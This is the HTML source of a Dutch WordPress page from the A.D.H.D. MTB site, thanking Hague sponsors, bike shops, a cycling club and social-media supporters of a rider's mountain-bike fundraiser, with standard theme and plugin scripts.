@font-face{font-family:"Albert Sans";font-style:italic;font-weight:100 900;font-display:fallback;src:url('https://adhdmtb.nl/wp-content/themes/bjork/assets/fonts/AlbertSans-Italic-VariableFont_wght.woff2') format('woff2');font-stretch:normal;}
</style>
</head>

<body class="page-template-default page page-id-91 wp-embed-responsive">

<div class="wp-site-blocks"><header class="site-header wp-block-template-part">
<div class="wp-block-group alignfull has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="margin-top:0;margin-bottom:0;padding-bottom:var(--wp--preset--spacing--70)">
<div class="wp-block-group alignwide is-content-justification-space-between is-nowrap is-layout-flex wp-container-core-group-is-layout-1 wp-block-group-is-layout-flex">
<figure class="wp-block-image size-large is-resized"><a href="https://adhdmtb.nl/"><img fetchpriority="high" decoding="async" width="1024" height="768" src="https://adhdmtb.nl/wp-content/uploads/2024/01/adhdmbt1zw-20240105100355-edited-1024x768.png" alt="" class="wp-image-181" style="width:102px;height:auto" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/adhdmbt1zw-20240105100355-edited-1024x768.png 1024w, https://adhdmtb.nl/wp-content/uploads/2024/01/adhdmbt1zw-20240105100355-edited-300x225.png 300w, https://adhdmtb.nl/wp-content/uploads/2024/01/adhdmbt1zw-20240105100355-edited-768x576.png 768w, https://adhdmtb.nl/wp-content/uploads/2024/01/adhdmbt1zw-20240105100355-edited.png 1440w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>


<h1 style="font-style:normal;" class="wp-block-site-title has-heading-5-font-size"><a href="https://adhdmtb.nl" target="_self" rel="home">A.D.H.D. MTB</a></h1>

<nav class="has-large-font-size is-responsive items-justified-left is-vertical wp-block-navigation has-large-font-size is-content-justification-left is-layout-flex wp-container-core-navigation-is-layout-1 wp-block-navigation-is-layout-flex" aria-label="" 
		 data-wp-interactive="core/navigation" data-wp-context='{"overlayOpenedBy":{"click":false,"hover":false,"focus":false},"type":"overlay","roleAttribute":"","ariaLabel":"Menu"}'><button aria-haspopup="dialog" aria-label="Open menu" class="wp-block-navigation__responsive-container-open always-shown" 
				data-wp-on--click="actions.openMenuOnClick"
				data-wp-on--keydown="actions.handleMenuKeydown"
			><svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="4" y="7.5" width="16" height="1.5" /><rect x="4" y="15" width="16" height="1.5" /></svg></button>
				<div class="wp-block-navigation__responsive-container hidden-by-default " style="" id="modal-1" 
				data-wp-class--has-modal-open="state.isMenuOpen"
				data-wp-class--is-menu-open="state.isMenuOpen"
				data-wp-watch="callbacks.initMenu"
				data-wp-on--keydown="actions.handleMenuKeydown"
				data-wp-on--focusout="actions.handleMenuFocusout"
				tabindex="-1"
			>
					<div class="wp-block-navigation__responsive-close" tabindex="-1">
						<div class="wp-block-navigation__responsive-dialog" 
				data-wp-bind--aria-modal="state.ariaModal"
				data-wp-bind--aria-label="state.ariaLabel"
				data-wp-bind--role="state.roleAttribute"
			>
							<button aria-label="Sluit menu" class="wp-block-navigation__responsive-container-close" 
				data-wp-on--click="actions.closeMenuOnClick"
			><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg></button>
							<div class="wp-block-navigation__responsive-container-content" 
				data-wp-watch="callbacks.focusFirstElement"
			 id="modal-1-content">
								
							</div>
						</div>
					</div>
				</div></nav></div>
</div>
</header>


<div class="wp-block-group has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="margin-top:0;margin-bottom:0">
<div class="wp-block-columns alignwide is-layout-flex wp-container-core-columns-is-layout-3 wp-block-columns-is-layout-flex" style="margin-bottom:0px">
<div class="wp-block-column site-sidebar-col is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:23%"><aside class="site-sidebar wp-block-template-part">
<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-3 wp-block-group-is-layout-flex" style="margin-top:0px;margin-bottom:0px">
<figure class="wp-block-image size-full is-resized wp-duotone-unset-2"><img decoding="async" width="730" height="776" src="https://adhdmtb.nl/wp-content/uploads/2024/02/sticker.png" alt="" class="wp-image-225" style="width:275px;height:auto" srcset="https://adhdmtb.nl/wp-content/uploads/2024/02/sticker.png 730w, https://adhdmtb.nl/wp-content/uploads/2024/02/sticker-282x300.png 282w" sizes="(max-width: 730px) 100vw, 730px" /></figure>


<nav class="has-large-font-size is-responsive  is-vertical wp-block-navigation has-large-font-size is-layout-flex wp-container-core-navigation-is-layout-2 wp-block-navigation-is-layout-flex" aria-label="Navigatie" 
		 data-wp-interactive="core/navigation" data-wp-context='{"overlayOpenedBy":{"click":false,"hover":false,"focus":false},"type":"overlay","roleAttribute":"","ariaLabel":"Menu"}'><button aria-haspopup="dialog" aria-label="Open menu" class="wp-block-navigation__responsive-container-open " 
				data-wp-on--click="actions.openMenuOnClick"
				data-wp-on--keydown="actions.handleMenuKeydown"
			><svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="4" y="7.5" width="16" height="1.5" /><rect x="4" y="15" width="16" height="1.5" /></svg></button>
				<div class="wp-block-navigation__responsive-container  " style="" id="modal-3" 
				data-wp-class--has-modal-open="state.isMenuOpen"
				data-wp-class--is-menu-open="state.isMenuOpen"
				data-wp-watch="callbacks.initMenu"
				data-wp-on--keydown="actions.handleMenuKeydown"
				data-wp-on--focusout="actions.handleMenuFocusout"
				tabindex="-1"
			>
					<div class="wp-block-navigation__responsive-close" tabindex="-1">
						<div class="wp-block-navigation__responsive-dialog" 
				data-wp-bind--aria-modal="state.ariaModal"
				data-wp-bind--aria-label="state.ariaLabel"
				data-wp-bind--role="state.roleAttribute"
			>
							<button aria-label="Sluit menu" class="wp-block-navigation__responsive-container-close" 
				data-wp-on--click="actions.closeMenuOnClick"
			><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"></path></svg></button>
							<div class="wp-block-navigation__responsive-container-content" 
				data-wp-watch="callbacks.focusFirstElement"
			 id="modal-3-content">
								<ul class="wp-block-navigation__container has-large-font-size is-responsive  is-vertical wp-block-navigation has-large-font-size"><li class="has-large-font-size wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="http://www.adhdmtb.nl"><span class="wp-block-navigation-item__label"><strong>HOME</strong></span></a></li><li class="has-large-font-size wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="https://adhdmtb.nl/merch/"><span class="wp-block-navigation-item__label"><strong>MERCH</strong></span></a></li><li class="has-large-font-size wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="https://adhdmtb.nl/socials/"><span class="wp-block-navigation-item__label"><strong>ADHD MTB</strong></span></a></li><li class="has-large-font-size wp-block-navigation-item wp-block-navigation-link"><a class="wp-block-navigation-item__content"  href="https://adhdmtb.nl/adhd/"><span class="wp-block-navigation-item__label"><strong>ADHD FM</strong></span></a></li></ul>
							</div>
						</div>
					</div>
				</div></nav>


<div id="doneeractie_donatiemodule" data-size="1" data-donationactionid="83193"></div>
<script type="text/javascript" src="https://www.doneeractie.nl/widgets/widget.js"></script>



<ul class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-1 wp-block-social-links-is-layout-flex" style="margin-top:0px;margin-bottom:0px"><li style="color: inherit; " class="wp-social-link wp-social-link-instagram has-foreground-color wp-block-social-link"><a href="https://instagram.com/adhd.mtb" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li></ul>
</div>
</aside></div>



<div class="wp-block-column is-layout-flow wp-container-core-column-is-layout-8 wp-block-column-is-layout-flow" style="flex-basis:77%">
<div class="wp-block-group has-global-padding is-layout-constrained wp-block-group-is-layout-constrained"><h1 class="has-text-align-left wp-block-post-title">Haagse Helden</h1></div>




<div class="entry-content wp-block-post-content has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained">
<p class="has-text-align-center">Eerlijk is eerlijk, wij kunnen dit in geen enkel universum alleen doen. Gelukkig is de stad gevuld met de helden die wij nodig hebben.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-group has-global-padding is-layout-constrained wp-block-group-is-layout-constrained">
<h5 class="wp-block-heading has-text-align-center">Haagse helden en hun social media</h5>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-1 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<figure class="wp-block-image aligncenter size-full is-resized"><a href="https://www.instagram.com/mvmvml/" target="_blank" rel="noreferrer noopener"><img decoding="async" width="165" height="167" src="https://adhdmtb.nl/wp-content/uploads/2024/02/mvmvml_Insta.png" alt="" class="wp-image-200" style="width:170px;height:auto"/></a></figure>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-1 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.instagram.com/mvmvml/" target="_blank" rel="noreferrer noopener">@MVMVML</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<figure class="wp-block-image aligncenter size-full"><a href="https://www.instagram.com/maartje_wilmink/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="165" height="167" src="https://adhdmtb.nl/wp-content/uploads/2024/02/maartje_Insta.png" alt="" class="wp-image-201"/></a></figure>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-2 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.instagram.com/maartje_wilmink/" target="_blank" rel="noreferrer noopener">@Maartje_wilmink</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<figure class="wp-block-image aligncenter size-full"><a href="https://www.instagram.com/tje.rene/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="165" height="167" src="https://adhdmtb.nl/wp-content/uploads/2024/02/Rene_Insta.png" alt="" class="wp-image-202"/></a></figure>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-3 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.instagram.com/tje.rene/" target="_blank" rel="noreferrer noopener">Ran Dom</a></div>
</div>
</div>
</div>
</div>



<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-2 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<figure class="wp-block-image aligncenter size-full"><a href="https://www.instagram.com/bryanvdveer/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="165" height="167" src="https://adhdmtb.nl/wp-content/uploads/2024/02/BryanInsta.png" alt="" class="wp-image-198"/></a></figure>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-4 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.instagram.com/bryanvdveer/" target="_blank" rel="noreferrer noopener">@Bryanvdveer</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow">
<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="165" height="167" src="https://adhdmtb.nl/wp-content/uploads/2024/02/UithofInsta.png" alt="" class="wp-image-204"/></figure>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-5 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.instagram.com/deuithof/" target="_blank" rel="noreferrer noopener">De Uithof</a></div>
</div>
</div>



<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="299" height="70" src="https://adhdmtb.nl/wp-content/uploads/2024/01/logo_vanherwerden.png" alt="" class="wp-image-92 size-full"/></figure><div class="wp-block-media-text__content">
<p>van Herwerden wielersport twijfelde geen moment om te helpen met: <em>&#8220;Barry van die berg af krijgen&#8221;</em></p>
</div></div>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-6 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.vanherwerden.nl/" target="_blank" rel="noreferrer noopener">Ga naar van Herwerden wielersport voor een echte sportfiets expert</a></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="567" height="129" src="https://adhdmtb.nl/wp-content/uploads/2024/01/LogoHSKTrias.png" alt="" class="wp-image-96 size-full" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/LogoHSKTrias.png 567w, https://adhdmtb.nl/wp-content/uploads/2024/01/LogoHSKTrias-300x68.png 300w" sizes="(max-width: 567px) 100vw, 567px" /></figure><div class="wp-block-media-text__content">
<p>Via de Uithof kwamen we in contact met HSK trias en zonder blikken of blozen stelde zij hun vereniging open voor dit doel.</p>
</div></div>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-7 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.hsktrias.nl/" target="_blank" rel="noreferrer noopener">Ga naar de website van HSK Trias en wordt een sportfietser</a></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="639" height="320" src="https://adhdmtb.nl/wp-content/uploads/2024/03/VS-Cycling.png" alt="" class="wp-image-257 size-full" srcset="https://adhdmtb.nl/wp-content/uploads/2024/03/VS-Cycling.png 639w, https://adhdmtb.nl/wp-content/uploads/2024/03/VS-Cycling-300x150.png 300w" sizes="(max-width: 639px) 100vw, 639px" /></figure><div class="wp-block-media-text__content">
<p>De sportfietsspeciaalzaak van onze westerburen 🙂</p>
</div></div>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-8 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.van-scheijndel.nl/" target="_blank" rel="noreferrer noopener">Hou de zee aan de rechterhand als je fietst&#8230; of bezoek de website hier!</a></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="1002" height="273" src="https://adhdmtb.nl/wp-content/uploads/2024/01/MTBRoutesLogo.jpg" alt="" class="wp-image-98 size-full" srcset="https://adhdmtb.nl/wp-content/uploads/2024/01/MTBRoutesLogo.jpg 1002w, https://adhdmtb.nl/wp-content/uploads/2024/01/MTBRoutesLogo-300x82.jpg 300w, https://adhdmtb.nl/wp-content/uploads/2024/01/MTBRoutesLogo-768x209.jpg 768w" sizes="(max-width: 1002px) 100vw, 1002px" /></figure><div class="wp-block-media-text__content">
<p>Wellicht niet Haags maar onmisbaar en ook toch echt helden. MTB Routes.nl is de plek om te weten waar je kan mountainbiken.</p>
</div></div>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-9 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.mtbroutes.nl/" target="_blank" rel="noreferrer noopener">Ga naar de website van MTBroutes.nl voor jouw volgende avontuur</a></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<div class="wp-block-media-text is-stacked-on-mobile"><figure class="wp-block-media-text__media"><img loading="lazy" decoding="async" width="267" height="88" src="https://adhdmtb.nl/wp-content/uploads/2024/01/muldersport.png" alt="" class="wp-image-194 size-full"/></figure><div class="wp-block-media-text__content">
<p>De <a href="https://www.ucc-sportevent.com/megavalanche-alpe-dhuez-2/">Megavalanche</a> is een behoorlijk zware onderneming. Bij Mulder sport traint Barry 3 tot 4x per week  op kracht en flexibiliteit.</p>
</div></div>



<div class="wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-10 wp-block-buttons-is-layout-flex">
<div class="wp-block-button is-style-outline"><a class="wp-block-button__link wp-element-button" href="https://www.muldersport.nl/">Laat je verassen door de effectieve trainingen van Mulder sport</a></div>
</div>



<hr class="wp-block-separator has-alpha-channel-opacity"/>
</div>

<footer class="site-footer wp-block-template-part">
<div class="wp-block-group has-small-font-size is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-8 wp-block-group-is-layout-flex" style="padding-top:var(--wp--preset--spacing--70)">
<div class="wp-block-group is-layout-flex wp-container-core-group-is-layout-7 wp-block-group-is-layout-flex">
<div class="wp-block-group is-content-justification-left is-layout-flex wp-container-core-group-is-layout-6 wp-block-group-is-layout-flex" style="font-weight:700">
<p>© 2023</p>


<p style="font-weight:700;" class="wp-block-site-title"><a href="https://adhdmtb.nl" target="_self" rel="home">A.D.H.D. MTB</a></p></div>
</div>



<p>Powered by Achter De Haagse Duinen op Den Haag FM</p>
</div>
</footer></div>
</div>
</div>
</div>
<!-- Instagram Feed JS -->
<script type="text/javascript">
var sbiajaxurl = "https://adhdmtb.nl/wp-admin/admin-ajax.php";
</script>
<script id="wp-block-template-skip-link-js-after">
	( function() {
		var skipLinkTarget = document.querySelector( 'main' ),
			sibling,
			skipLinkTargetID,
			skipLink;

		// Early exit if a skip-link target can't be located.
		if ( ! skipLinkTarget ) {
			return;
		}

		/*
		 * Get the site wrapper.
		 * The skip-link will be injected in the beginning of it.
		 */
		sibling = document.querySelector( '.wp-site-blocks' );

		// Early exit if the root element was not found.
		if ( ! sibling ) {
			return;
		}

		// Get the skip-link target's ID, and generate one if it doesn't exist.
		skipLinkTargetID = skipLinkTarget.id;
		if ( ! skipLinkTargetID ) {
			skipLinkTargetID = 'wp--skip-link--target';
			skipLinkTarget.id = skipLinkTargetID;
		}

		// Create the skip link.
		skipLink = document.createElement( 'a' );
		skipLink.classList.add( 'skip-link', 'screen-reader-text' );
		skipLink.href = '#' + skipLinkTargetID;
		skipLink.innerHTML = 'Ga naar de inhoud';

		// Inject the skip link.
		sibling.parentElement.insertBefore( skipLink, sibling );
	}() );
	
</script>
<script id="newsletter-js-extra">
var newsletter_data = {"action_url":"https:\/\/adhdmtb.nl\/wp-admin\/admin-ajax.php"};
</script>
<script src="https://adhdmtb.nl/wp-content/plugins/newsletter/main.js?ver=9.2.1" id="newsletter-js"></script>
</body>
</html>